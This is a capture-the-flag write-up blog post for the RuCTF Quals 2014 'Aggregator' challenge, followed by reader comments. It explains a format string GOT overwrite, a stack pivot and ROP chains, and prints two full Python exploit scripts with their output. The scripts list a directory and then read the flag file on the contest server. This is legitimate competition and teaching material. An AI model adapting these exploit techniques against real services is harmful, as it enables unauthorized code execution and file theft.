Wednesday, March 12, 2014

RuCTF Quals 2014 - Aggregator - Vuln 200 - [Team SegFault]

Vuln 200 is a 32 bit ELF protected with NX and ASLR enabled and no RELRO. This is what it looked like:
[ctf@renorobert ructf]$ nc 192.168.122.100 16711
> a
Available commands:
help -- show this message
quit -- quit
rating -- show player rating
summary <player_name> -- show the main stats of the player
stats <player_name> -- show all the stats of the player
The stats command lead way to a format string vulnerability as the player_name input is directly used in vsnprintf() call. Now this vulnerabilty can be used to take control of EIP.

The choice was to overwrite GOT entry of strncmp(). Reason is, we could reach the buffer used by read() call so that NUL bytes can be used. This is what the read() call looked like
.text:0804A6D0                 mov     [esp+428h+nbytes], 3E8h ; nbytes
.text:0804A6D8                 lea     eax, [ebp+s]
.text:0804A6DE                 mov     [esp+428h+buf], eax ; buf
.text:0804A6E2                 mov     eax, [ebp+fd]
.text:0804A6E5                 mov     [esp+428h+descriptor], eax ; fd
.text:0804A6E8                 call    _read
.text:0804A6ED                 mov     [ebp+var_C], eax
.text:0804A6F0                 cmp     [ebp+var_C], 0
.text:0804A6F4                 jz      short loc_804A70D
.text:0804A6F6                 mov     eax, [ebp+arg_4]
.text:0804A6F9                 mov     [esp+428h+buf], eax ; s
.text:0804A6FD                 lea     eax, [ebp+s]
.text:0804A703                 mov     [esp+428h+user_input], eax 
.text:0804A706                 call    check_options

; check_options
.text:0804A592                 push    ebp
.text:0804A593                 mov     ebp, esp
.text:0804A595                 sub     esp, 28h
.text:0804A598                 mov     [esp+28h+n], 4  ; n
.text:0804A5A0                 mov     [esp+28h+c], offset aQuit ; "quit"
.text:0804A5A8                 mov     eax, [ebp+user_input]
.text:0804A5AB                 mov     [esp+28h+dest], eax
.text:0804A5AE                 call    _strncmp ; EAX holds the address of buffer used by read()
With EAX holding address pointing to user input, there is nice gadget to pivot the stack
0x08048ab8: xchg eax, esp; ret
Using the format string vulnerability, the GOT entry of strncmp() can be overwritten with address of stack pivot gadget to move ESP to buffer used by read(). Now we have both EIP and ESP under control. The idea was to use a ROP payload to call system().

Things didn't go as per plan. Remote machine was running Linux saper 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 for which a matching libc couldn't be found. Approaches to find/brute system() offset failed. Next attempt was to use a ROP payload to call fopen() to read flag file, hoping that file name would something like 'key' or 'flag'. That didn't work either.

Then we decided to dump the directory list using the following payload:

[*] Overwrite strncmp() to pivot stack into buffer used by read()
[*] Again, shift the stack into bss, to make use of some gadgets
[*] Call opendir() with /home/ directory
[*] Write the pointer returned by opendir() into bss, later leak it using write()
[*] Call readdir() with this leaked address
[*] Dump the memory region using write()
#!/usr/bin/env python

import struct
import telnetlib

ip = '192.168.122.100'
ip = 'vuln1.quals.ructf.org'
port = 16711

plt_write = 0x08048d00
plt_exit = 0x08048ca0
plt_read = 0x08048b90
got_strncmp = 0x0804c3bc
bss = 0x0804c500
option = "stats "
format_str = "%.134515380u%9$n" # 0x08048ab8: xchg eax, esp; 4 bytes are already in payload

con = telnetlib.Telnet(ip, port)
con.read_until('>')

#  overwrite strncmp using format string
payload  = option
payload += struct.pack("<I", got_strncmp)
payload += format_str
con.write(payload + "\n")
con.read_until('>')

payload  = struct.pack("<I", plt_read)
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x4) 
payload += struct.pack("<I", bss)
payload += struct.pack("<I", 0x400)
payload += struct.pack("<I", 0x08048a48) # pop esp; ret
payload += struct.pack("<I", bss)

con.write(payload + "\n")
file_to_read = "/home/tasks/aggregator/ctf/" 
file_to_read = file_to_read + "\x00" * (40 - len(file_to_read))

payload  = struct.pack("<I", 0x08048eb0) # opendir@plt
payload += struct.pack("<I", 0x08049544) # pop ebp ; ret
payload += struct.pack("<I", bss+356)

payload += struct.pack("<I", 0x0804aa3e) # pop edi ; pop ebp ; ret
payload += struct.pack("<I", 64)         # for edi
payload += struct.pack("<I", 0x41414141) # junk for ebp
payload += struct.pack("<I", 0x08048b51) # pop ebx
payload += struct.pack("<I", bss+396)    # bss address holding address of 3pop reg gadget
payload += struct.pack("<I", 0x08048a48) # pop esp, ret
payload += struct.pack("<I", bss+400)    # move stack to write the return value of opendir()

#payload += struct.pack("<I", 0x08048991)*3
payload += struct.pack("<I", 0x08048dc0) # readdir@plt
payload += struct.pack("<I", 0x08049544) # pop ebp ; ret
payload += struct.pack("<I", 0x086891f8) # address of stream ; leaked after call to opendir()

payload += struct.pack("<I", plt_write)
payload += struct.pack("<I", plt_exit)
payload += struct.pack("<I", 0x4) 
payload += struct.pack("<I", 0x086891f8)
payload += struct.pack("<I", 0x4000)
# opendir heap address leak
#payload += struct.pack("<I", bss+408)
#payload += struct.pack("<I", 0x4)

payload += "B"*284

payload += file_to_read  
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x0804aa27) # mov dword [esp+0x04], eax ; call dword [ebx+edi*4-0x00000100]
payload += "A"*8                         # will be overwritten by stream
payload += struct.pack("<I", 0x08048a48) # pop esp, ret
payload += struct.pack("<I", bss+40)     # restore stack
con.write(payload + "\n")

print con.read_all()
#print hex(struct.unpack("<I",con.read_all().lstrip())[0])
"""
[ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump 
Real.ngLog.2012.07.42.42.42.24.7777.log
"""
Dumping through /home/tasks/aggregator/, some interesting file was found in sniperserver and ctf.
[ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump 
Unreal.ngLog.2012.07.21.01.53.09.7777.log
Unreal.ngLog.2012.07.21.02.41.14.7777.log
Unreal.ngLog.2012.07.21.01.42.52.7777.log
Unreal.ngLog.2012.07.21.02.44.35.7777.log
Unreal.ngLog.2012.07.24.03.58.53.7777.log
Unreal.ngLog.2012.07.21.02.21.05.7777.log
Unreal.ngLog.2012.07.21.02.49.50.7777.log
Unreal.ngLog.2012.07.21.01.27.20.7777.log
*-xi8
Unreal.ngLog.2012.07.21.01.11.16.7777.log
Unreal.ngLog.2012.07.21.02.58.49.7777.log
Unreal.ngLog.2012.07.21.01.58.17.7777.log
XOw8
Unreal.ngLog.2012.07.21.03.02.54.7777.log
Unreal.ngLog.2012.07.21.02.09.24.7777.log

[ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump 
Real.ngLog.2012.07.42.42.42.24.7777.log
The final payload was to read the ctf/Real.ngLog.2012.07.42.42.42.24.7777.log file which gave the flag

[*] Open file using fopen()
[*] Read the contents using read() into bss
[*] Dump the memory using write()
#!/usr/bin/env python

import struct
import telnetlib

ip = '192.168.122.100'
ip = 'vuln1.quals.ructf.org'
port = 16711
plt_write = 0x08048d00
plt_read = 0x08048b90
plt_exit = 0x08048ca0
got_strncmp = 0x0804c3bc
bss = 0x0804c500
option = "stats "
format_str = "%.134515380u%9$n" # 0x08048ab8: xchg eax, esp; 4 bytes are already in payload

con = telnetlib.Telnet(ip, port)
con.read_until('>')

#  overwrite strncmp using format string
payload  = option
payload += struct.pack("<I", got_strncmp)
payload += format_str
con.write(payload + "\n")
con.read_until('>')

payload  = struct.pack("<I", plt_read)
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x4) 
payload += struct.pack("<I", bss)
payload += struct.pack("<I", 0x400)
payload += struct.pack("<I", 0x08048a48) # pop esp; ret
payload += struct.pack("<I", bss)
con.write(payload + "\n")

file_to_read  = "ctf/Real.ngLog.2012.07.42.42.42.24.7777.log\x00"
payload  = struct.pack("<I", 0x08048d20) # fopen@plt
payload += struct.pack("<I", 0x08049945) # pop ebx ; pop ebp ; ret
payload += struct.pack("<I", bss+56)     # filename
payload += struct.pack("<I", 0x0804875d) # readmode

payload += struct.pack("<I", plt_read)   # read@plt
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x5)        # descriptor
payload += struct.pack("<I", bss+156)
payload += struct.pack("<I", 200)

payload += struct.pack("<I", plt_write)  # write@plt
payload += struct.pack("<I", plt_exit)
payload += struct.pack("<I", 0x4)
payload += struct.pack("<I", bss+156)
payload += struct.pack("<I", 0x1024)
payload += file_to_read

con.write(payload + "\n")
print con.read_all().lstrip().rstrip()
"""
[ctf@renorobert ructf]$ python read_file.py 
0.59 player Connect RUCTF_5b75086a 0 False
0.59 player Connect Fledi 1 False
0.99 player Connect ;itachi 2 False
0.99 player Connect Mina 3 False
0.99 player Connect Dune2000 4 False
2.81 player
"""
Flag for the challenge is RUCTF_5b75086a which I got just 15 mins before closing time :D

6 comments :

  1. Hi,

    Could you please to share the binary of challenge ?

    Thanks

    ReplyDelete
    Replies
    1. http://repo.shell-storm.org/CTF/RuCTF-quals-2014/21/aggregator

      Delete
  2. Hi, is it possible to chat with you about the exploit on IRC or something like that ?

    ReplyDelete
  3. Hi, I got some questions. Why do you call read@plt and why do we need to shift to bss ?

    ReplyDelete
    Replies
    1. since bss was not randomized, moving ESP to bss segment gives more freedom in using gadgets. For example gadgets ending with 'leave; ret' can be controlled.

      Delete